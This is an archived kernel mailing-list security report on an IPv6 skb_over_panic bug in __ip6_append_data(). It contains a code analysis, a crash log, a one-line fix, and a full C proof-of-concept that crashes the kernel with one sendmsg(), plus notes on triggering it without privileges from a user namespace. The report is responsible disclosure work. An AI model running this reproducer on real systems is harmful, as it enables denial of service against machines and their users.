Thread (2 messages) 2 messages, 2 authors, 7d ago

ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)

flat view

From: 平之 <hidden>
Date: 2026-10-26 10:54:55
Also in: stable
Subsystem: networking [general], networking [ipv4/ipv6], the rest · Maintainers: "David S. Miller", Eric Dumazet, Jakub Kicinski, Paolo Abeni, David Ahern, Ido Schimmel, Linus Torvalds

To:      <redacted>
Cc:      "David S. Miller" <davem@davemloft.net>,
         Hideaki YOSHIFUJI [off-list ref],
         David Ahern [off-list ref],
         stable@vger.kernel.org,
         security@kernel.org
Subject: ipv6: skb_over_panic in __ip6_append_data() when
         mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)

Hi David, Hideaki, David,

While auditing __ip6_append_data() I found that one half of its MTU
guard has been dead code since the initial git import, and that the
window it fails to close allows an unprivileged-triggerable
skb_over_panic (kernel BUG) with a single sendmsg() on a raw IPv6
socket.  Reproduced on Ubuntu 7.3.0-9-generic (aarch64, QEMU virt);
the code is unchanged in v7.4-rc1.

The reproducer is ~170 lines of plain C (libc + kernel uapi headers
only), fully self-contained - it creates its own egress device - and
is inlined in section 6.  A suggested one-line fix is in section 5.

For context: parts of the code audit were AI-assisted, but the
analysis and the crash below are mine, reproduced on a real system.


1. Affected versions
--------------------

The guard and the computation below it exist since 1da177e4c3f4
("Linux-2.6.12-rc2", initial git import, 2005).

Commit 5e34af4142ff ("net: ipv6: fix skb_over_panic in
__ip6_append_data", 2022, syzbot id 205d6f11) fixed the
mtu == fragheaderlen boundary of the first half of the guard, but
left the second half - which is dead code (see below) - untouched.

Still present in v7.4-rc1 (code inspection); reproduced on Ubuntu
7.3.0-9-generic.  I diffed net/ipv6/ip6_output.c between v7.0 and
v7.4-rc1: the relevant expressions are unchanged.


2. Problem description
----------------------

The chain has four steps, all in net/ipv6/ip6_output.c (line numbers
from v7.3-rc5).

(a) Dead guard (:1502-1504):

        fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
                        (opt ? opt->opt_nflen : 0);      /* >= 40 */

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

The second condition can never be true: (x & ~7) is unsigned and
= 0, and fragheaderlen >= sizeof(struct ipv6hdr) = 40 >
sizeof(struct frag_hdr) = 8, so the left side is always >= 40 and the
comparison against 8 never fires.  Only the first half
(mtu <= fragheaderlen) actually guards anything.

(b) Underflow (:1506-1507):

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
                     sizeof(struct frag_hdr);

For mtu - fragheaderlen in [1,7], (x & ~7) == 0 and

        maxfraglen = fragheaderlen - 8 < fragheaderlen.

(c) Clamp bypass (:1650-1654, inside the fragment loop):

        datalen = length + fraggap;
        if (datalen > (cork->length <= mtu ? mtu : maxfraglen) - fragheaderlen)
                datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;

cork->length += length runs at :1614, before the loop, so on the
first sendmsg() with a payload larger than mtu the clamp boundary is

        maxfraglen - fragheaderlen = (fragheaderlen - 8) - fragheaderlen
                                   = 0xfffffff8   (unsigned int)

and no realistic datalen is ever greater than it: the clamp never
fires, so fraglen = datalen + fragheaderlen escapes the MTU
constraint entirely.  Note this means a single sendmsg() suffices -
no multi-cork length climbing is needed, because cork->length
already includes the whole payload when the clamp runs.

(d) Allocation mismatch (:1668, :1721):

        if ((flags & MSG_MORE) &&
            !(rt->dst.dev->features & NETIF_F_SG))
                alloclen = mtu;                       /* 1281 */
        ...
        data = skb_put(skb, fraglen - pagedlen);      /* 61280 */

skb_put() detects the overflow (tail 61304 > end 1728) and calls
skb_over_panic() -> BUG().  The overflow is caught before any write,
so this is a kernel BUG / local DoS, not silent memory corruption.


3. Trigger conditions
---------------------

* Raw IPv6 socket (CAP_NET_RAW; obtainable inside a user namespace).
* IPV6_MTU setsockopt = fragheaderlen + [1..7].  net/ipv6/sockglue.c
  only rejects val && val < IPV6_MIN_MTU, so 1281 is accepted.
* A large HOPOPTS cmsg (requires ns_capable(CAP_NET_RAW)):
  hdrlen = 154 gives opt_nflen = (154 + 1) * 8 = 1240, so
  fragheaderlen = 40 + 1240 = 1280 and IPV6_MTU = 1281 puts the
  difference at 1.  The RFC 7112 first-fragment check
  (headersize + transhdrlen > mtu) passes for raw sockets because
  rawv6_sendmsg() passes transhdrlen = 0; UDP (transhdrlen = 8)
  cannot reach this path.
* An egress route whose device does NOT have NETIF_F_SG.  With SG
  the data goes to the paged allocation path and nothing overflows.
  Caveat for reproducers: nlmon looks like an obvious choice but
  does NOT work - nlmon_setup() explicitly sets
  NETIF_F_SG | NETIF_F_FRAGLIST | NETIF_F_HIGHDMA.  SLIP
  (features = 0) works; the reproducer below creates one itself via
  a pty and the N_SLIP line discipline.
* A single sendmsg() with MSG_MORE and a payload larger than mtu.


4. Reproduced crash
-------------------

Ubuntu 7.3.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC, aarch64, QEMU
virt machine, running the reproducer from section 6 as root:

[   37.607813] skbuff: skb_over_panic: text:ffffd5aad9272ba8 len:61280 put:61280 head:ffff00001f736000 data:ffff00001f736018 tail:0xef78 end:0x6c0 dev:<NULL>
[   37.607855] ------------[ cut here ]------------
[   37.607856] kernel BUG at net/core/skbuff.c:214!
[   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
[   37.611485] CPU: 3 UID: 0 PID: 1378 Comm: ipv6_maxfraglen Not tainted 7.3.0-9-generic #9-Ubuntu PREEMPT(lazy)
[   37.612619] pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
[   37.612619] pc : skb_panic+0x5c/0x60
[   37.613172] sp : ffff800080ad3430
[   37.614181] x21: 000000000000ea60 x22: 00000000000004f8
[   37.616606] Call trace:
[   37.616606]  skb_panic+0x5c/0x60 (P)
[   37.616778]  skb_put+0x9c/0xa8
[   37.616952]  __ip6_append_data+0xf80/0x1948
[   37.617172]  ip6_append_data+0x94/0x2a8
[   37.617363]  rawv6_sendmsg+0x588/0x988
[   37.617716]  inet_sendmsg+0x4c/0xa8
[   37.617891]  ____sys_sendmsg+0x268/0x308
[   37.618105]  ___sys_sendmsg+0xb4/0x140
[   37.618299]  __sys_sendmsg+0xa8/0x140

The numbers match the analysis exactly:

  put:61280 = 60000 (payload) + 1280 (fragheaderlen)
  tail:0xef78 = 61304 = skb_reserve(24) + 61280
  x21:0xea60 = 60000 (the unclamped payload length still in a register)

Negative control: the same reproducer with IPV6_MTU = 1288
(difference 8, outside [1,7]) does not crash.


5. Suggested fix
----------------

From: bo cao <redacted>
Date: Mon, 26 Oct 2026 17:30:00 +0800
Subject: [PATCH] ipv6: fix dead half of the MTU guard in
 __ip6_append_data()

The second half of the MTU guard in __ip6_append_data() has been
dead code since the initial git import:

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

(x & ~7) is unsigned and >= 0, and fragheaderlen >=
sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
second condition is always false.  5e34af4142ff ("net: ipv6: fix
skb_over_panic in __ip6_append_data") tightened the first half but
left the dead second half in place.

For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8

underflows below fragheaderlen.  Every later bound computed as
maxfraglen - fragheaderlen wraps to 0xfffffff8, in particular the
datalen clamp inside the fragment loop, which then never fires:
fraglen escapes the MTU constraint.  With MSG_MORE on an egress
device without NETIF_F_SG, alloclen = mtu while skb_put() is called
with fraglen, so a single sendmsg() on a raw IPv6 socket with a
large HOPOPTS cmsg and IPV6_MTU = fragheaderlen + 1 triggers:

  skbuff: skb_over_panic: len:61280 put:61280 ...
  kernel BUG at net/core/skbuff.c
  skb_put __ip6_append_data ip6_append_data rawv6_sendmsg

Replace the dead expression with a direct check of the payload space
available for a fragment.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: bo cao <redacted>
---
 net/ipv6/ip6_output.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
@@ -1498,7 +1498,7 @@ static int __ip6_append_data(struct sock *sk,
 	headersize = sizeof(struct ipv6hdr) +
 		     (opt ? opt->opt_flen + opt->opt_nflen : 0) +
 		     rt->rt6i_nfheader_len;

 	if (mtu <= fragheaderlen ||
-	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
+	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
 		goto emsgsize;

 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
-- 
2.x.x

(Line numbers from v7.3-rc5; hard tabs preserved in this message.)

Two notes on the fix:

- ip6_append_data_mtu() recomputes maxfraglen with the same formula
  but is only reached after the entry guard has passed, so fixing
  the guard is sufficient; I left it untouched to keep the patch
  minimal.
- The residual window mtu - fragheaderlen in [9,15] still produces
  zero-payload fragment loops that spin until the socket write
  budget is exhausted (-ENOBUFS) - annoying, but not memory-unsafe.
  If you prefer, the check could reject up to 15 instead of 8 to
  also kill that wart; I kept the minimal form since the memory
  unsafety ends at 8.


6. Reproducer
-------------

Self-contained C program (libc + kernel uapi headers only).  It
creates its own SLIP egress device via a pty and the N_SLIP line
discipline (features = 0, no NETIF_F_SG), configures the route, and
issues the single trigger sendmsg().  Run as root (needs the slip
module; on Ubuntu: modprobe slip).

Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
Run:   ./poc            # crashes the kernel

Run on a test system only: on kernels with panic_on_oops this
panics the machine 

// SPDX-License-Identifier: GPL-2.0
/*
 * ipv6_maxfraglen_poc.c - skb_over_panic in __ip6_append_data()
 *
 * A single sendmsg(MSG_MORE) on a raw IPv6 socket triggers:
 *
 *   skbuff: skb_over_panic: len:61280 put:61280 ...
 *   kernel BUG at net/core/skbuff.c (skb_panic)
 *   Call trace: skb_put <- __ip6_append_data <- ip6_append_data
 *               <- rawv6_sendmsg <- __sys_sendmsg
 *
 * Why (net/ipv6/ip6_output.c, unchanged since the 2005 initial import
 * apart from the 2022 mtu == fragheaderlen fix):
 *
 *   fragheaderlen = 40 (ipv6hdr) + opt_nflen (HOPOPTS cmsg)
 *   With mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
 *     maxfraglen = fragheaderlen - 8 < fragheaderlen   (underflow)
 *   The datalen clamp compares against
 *     maxfraglen - fragheaderlen  == 0xfffffff8 (unsigned)
 *   so it never fires: fraglen = payload + fragheaderlen escapes the
 *   MTU constraint.  On a !NETIF_F_SG egress device with MSG_MORE,
 *   alloclen = mtu (1281) but skb_put(fraglen = 61280) -> panic.
 *
 * Trigger values used here:
 *   IPV6_MTU = 1281, HOPOPTS hdrlen = 154 -> opt_nflen = 1240
 *   fragheaderlen = 1280, mtu - fragheaderlen = 1  (inside [1,7])
 *
 * The egress device must NOT have NETIF_F_SG (with SG the data goes
 * to the paged path and nothing overflows; nlmon has SG and does not
 * work).  This PoC creates its own SLIP device (features = 0) via a
 * pty with the N_SLIP line discipline.
 *
 * Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
 * Run:   ./poc      (root; requires the slip module: modprobe slip)
 *
 * Negative control: change MTU_VAL to 1288 (difference 8, outside the
 * window) - the same program returns quietly, no crash.
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifdef __linux__
#include <linux/tty.h>
#endif

#ifndef IPV6_MTU
#define IPV6_MTU 24
#endif
#ifndef TIOCSETD
#define TIOCSETD 0x5423
#endif
#ifndef N_SLIP
#define N_SLIP 1
#endif
#ifndef IPV6_HOPOPTS
#define IPV6_HOPOPTS 3
#endif
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif

#define MTU_VAL    1281                 /* fragheaderlen + 1 */
#define HBH_LEN    1240                 /* (154 + 1) * 8 */
#define DST_ADDR   "2001:db8:dead::1"

/* find the slX device created by the N_SLIP line discipline */
static int find_slipdev(char *buf, size_t sz)
{
	struct dirent *e;
	DIR *d = opendir("/sys/class/net");

	buf[0] = 0;
	if (!d)
		return 0;
	while ((e = readdir(d)))
		if (!strncmp(e->d_name, "sl", 2) && e->d_name[2] >= '0' &&
		    e->d_name[2] <= '9') {
			snprintf(buf, sz, "%s", e->d_name);
			break;
		}
	closedir(d);
	return buf[0] != 0;
}

int main(void)
{
	static char payload[60000];
	static char cbuf[CMSG_SPACE(HBH_LEN)];
	struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
	struct msghdr msg = { 0 };
	struct cmsghdr *cmsg;
	unsigned char *hbh;
	char dev[IFNAMSIZ], cmd[256];
	int fd, mtu = MTU_VAL, sfd, mfd, ldisc = N_SLIP;

	/* 1. egress device without NETIF_F_SG: SLIP via pty + TIOCSETD */
	if (system("modprobe slip 2>/dev/null") != 0)
		fprintf(stderr, "modprobe slip failed, continuing anyway\n");

	mfd = posix_openpt(O_RDWR | O_NOCTTY);
	if (mfd < 0 || grantpt(mfd) < 0 || unlockpt(mfd) < 0) {
		perror("posix_openpt");
		return 1;
	}
	sfd = open(ptsname(mfd), O_RDWR | O_NOCTTY);
	if (sfd < 0) {
		perror("open pty slave");
		return 1;
	}
	if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
		perror("TIOCSETD(N_SLIP) - is the slip module loaded?");
		return 1;
	}
	if (!find_slipdev(dev, sizeof(dev))) {
		fprintf(stderr, "no sl* device appeared\n");
		return 1;
	}
	printf("[+] egress device: %s (slip, features = 0, no NETIF_F_SG)\n", dev);

	snprintf(cmd, sizeof(cmd), "ip link set %s mtu 1500 up", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 addr add 2001:db8:beef::1/64 dev %s 2>/dev/null", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 route replace 2001:db8:dead::/64 dev %s", dev);
	system(cmd);

	/* 2. raw IPv6 socket, cork MTU inside the [1,7] window */
	fd = socket(AF_INET6, SOCK_RAW, 253);
	if (fd < 0) {
		perror("socket(SOCK_RAW)");
		return 1;
	}
	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &mtu, sizeof(mtu)) < 0) {
		perror("setsockopt(IPV6_MTU)");
		return 1;
	}

	/* 3. HOPOPTS cmsg: hdrlen = 154 -> opt_nflen = 1240
	 *    (all-zero payload bytes are Pad1 options) */
	memset(cbuf, 0, sizeof(cbuf));
	cmsg = (struct cmsghdr *)cbuf;
	cmsg->cmsg_level = IPPROTO_IPV6;
	cmsg->cmsg_type  = IPV6_HOPOPTS;
	cmsg->cmsg_len   = CMSG_LEN(HBH_LEN);
	hbh = (unsigned char *)CMSG_DATA(cmsg);
	hbh[0] = 0;                         /* nexthdr */
	hbh[1] = 154;                       /* hdrlen */

	if (inet_pton(AF_INET6, DST_ADDR, &dst.sin6_addr) != 1) {
		perror("inet_pton");
		return 1;
	}
	msg.msg_name       = &dst;
	msg.msg_namelen    = sizeof(dst);
	msg.msg_iov        = &(struct iovec){ payload, sizeof(payload) };
	msg.msg_iovlen     = 1;
	msg.msg_control    = cbuf;
	msg.msg_controllen = sizeof(cbuf);

	printf("[*] IPV6_MTU = %d, fragheaderlen = 1280, difference = 1\n",
	       MTU_VAL);
	printf("[*] sendmsg(MSG_MORE, 60000) - expect skb_over_panic\n");
	fflush(stdout);

	/* 4. one syscall is enough: cork->length already includes the
	 *    full payload when the clamp runs, so it is bypassed */
	if (sendmsg(fd, &msg, MSG_MORE) < 0)
		fprintf(stderr, "[!] sendmsg returned %d (%s) - not triggered\n",
			errno, strerror(errno));

	/* sfd stays open: closing it would destroy the slip device */
	return 2;
}


7. Unprivileged variant
-----------------------

The trigger itself only needs CAP_NET_RAW and a non-SG egress device,
both of which an unprivileged user can obtain inside a user + network
namespace (unshare -Urn), provided the slip module is already loaded
in the host kernel (module autoload is not possible from inside a
user namespace).  I verified the code paths (sockglue.c accepts
IPV6_MTU; datagram.c checks ns_capable(net->user_ns, CAP_NET_RAW)
for the HOPOPTS cmsg) but ran the reproducer above as root.


Thanks,
bo cao
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help